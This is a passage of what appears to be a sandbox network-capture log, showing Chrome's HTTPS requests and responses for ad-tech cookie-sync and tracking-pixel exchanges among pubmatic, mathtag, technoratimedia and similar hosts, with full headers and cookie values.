KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
2024-01-10 23:27:22 UTC	709	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:21 GMT; path=/ Set-Cookie: PugT=1704929241; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:21 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	50247	74.121.140.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	872	OUT	GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:22 UTC	707	IN	HTTP/1.1 302 Moved Temporarily Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1237 600843f master iad iad-pixel-x7 config_version:"289" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: uuid=d579659f-27da-4200-92f9-660cb89fa4ac; domain=.mathtag.com; path=/; expires=Thu, 06-Feb-2025 23:27:22 GMT; SameSite=None; Secure location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= Expires: Wed, 10 Jan 2024 23:27:21 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	50248	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2257	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=968062845637553879 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
2024-01-10 23:27:22 UTC	582	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 12:22:39 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-968062845637553879; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 12:22:39 GMT; path=/ Set-Cookie: PugT=1704889359; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 12:22:39 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	50250	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2325	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=f6435827-796b-4521-81e9-11e581628f69&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
2024-01-10 23:27:22 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:22 GMT; path=/ Set-Cookie: PugT=1704929242; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:22 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	50251	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2252	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; PugT=1704929241
2024-01-10 23:27:22 UTC	600	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:22 GMT; path=/ Set-Cookie: PugT=1704929242; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:22 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	50254	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	742	OUT	GET /pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:22 UTC	440	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: image/gif Content-Length: 42 Connection: close Server: Kestrel Set-Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; expires=Fri, 10 Jan 2025 23:27:22 GMT; path=/; secure; samesite=none Set-Cookie: ss=C0tr9KgPFgrNDN7ndyYZYg9RbQDDBTw8B5BpThVpD2510eOJ7IXi2Q4oqyxtExzfPdXq1vvGb3VBkLlFhyoEkw%3D%3D; expires=Fri, 10 Jan 2025 23:27:22 GMT; path=/; secure; samesite=none
2024-01-10 23:27:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.4	50255	35.186.193.173	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	861	OUT	GET /int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id] HTTP/1.1 Host: ipac.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cid_3eb4f1d28af642b8a97d60a85e0f7108=1
2024-01-10 23:27:22 UTC	649	IN	HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid=3eb4f1d28af642b8a97d60a85e0f7108; path=/; domain=.ctnsnet.com; expires=Thu, 09 Jan 2025 23:27:22 GMT; Secure; SameSite=None; Set-Cookie: cid_3eb4f1d28af642b8a97d60a85e0f7108=null; path=/; domain=.ctnsnet.com; expires=Thu, 01 Jan 1970 00:00:00 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: image/gif Content-Length: 43 Date: Wed, 10 Jan 2024 23:27:22 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.4	50253	150.136.26.45	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	985	OUT	GET /services?uid=AABsm07LPlAAABMLLoldYg&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&gdpr=0 HTTP/1.1 Host: sync.technoratimedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:22 UTC	1499	IN	HTTP/1.1 307 Temporary Redirect Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: close Location: https://ssum-sec.casalemedia.com/usermatchredir?s=191740&cb=https%3A%2F%2Fsync.technoratimedia.com%2Fservices%3Fsrv%3Dcs%26nuid%3D4210822921CF40FDB04E5E61CD3868FF%26att%3D1%26pid%3D82%26cb%3Dhttps%253A%252F%252Fmatch.prod.bidr.io%252Fcookie-sync%253Fgdpr%253D0%2526gdpr%253D0%2526userid%253D5415633966123335522%2526gdpr%253D0%2526gdpr_consent%253D%2526bee_sync_partners%253Dpm%2526bee_sync_current_partner%253Dsyn%2526bee_sync_initiator%253Dadx%2526bee_sync_hop_count%253D4%26uid%3D Set-Cookie: tads_uidp_73=AABsm07LPlAAABMLLoldYg; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:22 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_uid=4210822921CF40FDB04E5E61CD3868FF; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:22 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_uid_cd=20240110232722+0000; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:22 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None set-cookie: tads_zora=2; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:22 GMT; Path=/; Domain=.technoratimedia.com; Secure; SameSite=None access-control-allow-origin: https://ads.pubmatic.com/ access-control-allow-credentials: true access-control-allow-methods: POST,GET,HEAD,OPTIONS X-Varnish: 188344142 Age: 0 Via: 1.1 varnish

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.4	50256	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2458	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; PugT=1704929242
2024-01-10 23:27:22 UTC	604	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:22 GMT; path=/ Set-Cookie: PugT=1704929242; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:22 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.4	50252	172.105.221.29	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
